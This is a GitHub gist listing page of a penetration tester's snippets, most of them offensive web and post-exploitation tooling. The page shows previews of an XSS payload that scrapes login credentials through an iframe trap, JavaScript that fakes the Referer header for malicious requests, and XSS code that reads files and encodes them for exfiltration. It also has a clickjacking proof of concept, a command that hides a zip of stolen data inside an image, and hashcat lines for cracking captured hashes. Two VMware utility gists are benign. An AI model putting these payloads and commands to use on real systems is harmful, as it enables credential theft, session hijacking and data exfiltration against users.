Skip to content

Instantly share code, notes, and snippets.

View hoodoer's full-sized avatar
💻
Flailing arms, pounding on laptop.

Drew hoodoer

💻
Flailing arms, pounding on laptop.
View GitHub Profile
@hoodoer
hoodoer / stealCredsPayload.js
Last active March 1, 2024 14:52
XSS Login Form Credential Scraper
alert('Click ok when you\'re ready to enter iframe trap');
// Example Credential scraper and
// XSS iframe trap. Load from whatever
// page has the reflected/stored XSS vuln
// trap the user in an iframe of the app.
// Frame the login page, and copy out the
// username and password fields.
// @hoodoer
@hoodoer
hoodoer / xssIframeTrap.js
Last active August 24, 2023 14:14
XSS iFrame Trap
alert('Click ok when you\'re ready to enter iframe trap');
// Example XSS iframe trap. Load from whatever
// page has the reflected/stored XSS vuln
// trap the user in an iframe of the app.
// While they surf around, they stick in your
// iFrame, and you keep their session and your XSS
// payload running.
// @hoodoer
@hoodoer
hoodoer / mountVmwareShares.sh
Created January 2, 2021 20:48
Mount all VMWare shares in Linux guest
#!/bin/bash
vmware-hgfsclient | while read folder; do
echo "[i] Mounting ${folder} (/mnt/hgfs/${folder})"
mkdir -p "/mnt/hgfs/${folder}"
umount -f "/mnt/hgfs/${folder}" 2>/dev/null
vmhgfs-fuse -o allow_other -o auto_unmount ".host:/${folder}" "/mnt/hgfs/${folder}"
done
sleep 2s
@hoodoer
hoodoer / ovaExport.txt
Created December 11, 2020 14:38
Fusion export of ova file for portable VMs
There’s no GUI option to export an OVA (Open Virtual Appliance) format VM in VMware fusion, but there is a command-line method. Use the OVF tool. The following provides a command-line synopsis.
$ cd /Applications/VMware\ Fusion.app/Contents/Library/VMware\ OVF\ Tool/
$ ./ovftool –acceptAllEulas \
> /Users/me/Documents/Virtual\ Machines.localized/TheVM.vmwarevm/TheVM.vmx \
> ~/Desktop/TheVM.ova
Opening VMX source: […]
@hoodoer
hoodoer / setRefererHeader.js
Last active January 25, 2024 22:08
Code Snippet to Set 'Referer' Header using JavaScript (e.g. XSS Payload)
// Save the current URL path to restore after making
// malicious request with faked referer header value
var savedPath = window.location.pathname;
var savedSearch = window.location.search;
// Change URL/History to control the referer header value
// Swap out "/this-is-my-fake-referer-value" to be what you need
window.history.replaceState(null, '', '/this-is-my-fake-referer-value');
// Send malicious request with faked referer header value
@hoodoer
hoodoer / binaryExfileXSS
Created March 6, 2020 03:17
Large binary exfil through XSS
fileXhr.open("GET", fileUri);
fileXhr.send(null);
console.log("Getting ready to get a file and exfil...");
fileXhr.onreadystatechange = function()
{
if (fileXhr.readyState == XMLHttpRequest.DONE)
{
var responseData = encodeURIComponent(fileXhr.response);
var exfilData = btoa(responseData);
@hoodoer
hoodoer / formFieldClickjackPoc.html
Last active May 18, 2020 00:32
Clickjack POC for input forms.
<html>
<style>
.overlay {
float: top;
position: absolute;
padding: 245px;
width: 250px;
clear: both;
}
@hoodoer
hoodoer / openPortcounterCommand.txt
Created December 10, 2019 09:55
Nmap output, open port counter
cat nmapOutput.gnmap | grep -E -o '[0-9]{1,5}/open' | sort | uniq -c | sort -r | head -n 20
@hoodoer
hoodoer / exfilInImage.txt
Created December 10, 2019 09:54
Exfiltrate data by appending zip file to an image, windows native command
copy /b image.jpg+Exfiltration-test.zip New-Image.jpg.
Note above the '.' matters at the end, it's "New-Image.jpg." not "New-Image.jpg"
You can unzip the original zip file from the .jpg (on a linux box)
@hoodoer
hoodoer / hashcatCommands.txt
Last active December 7, 2023 12:27
Hashcat oneliners
IKE-PSK:
./hashcat -m 5300 vpn.psk ../PasswordLists/Top109Million-probable-v2.txt -a 0 -r rules/wtf.rule -O
Responder:
hashcat -m 5600 hashes\hash.txt password_list.txt -o cracked\cracked.txt -O -r rules/best64.rule
example:
./hashcat -m 5600 hashes.txt ../../VM\ Share/PasswordLists/rockyou.txt -o passwords.txt -O -r rules/best66.rule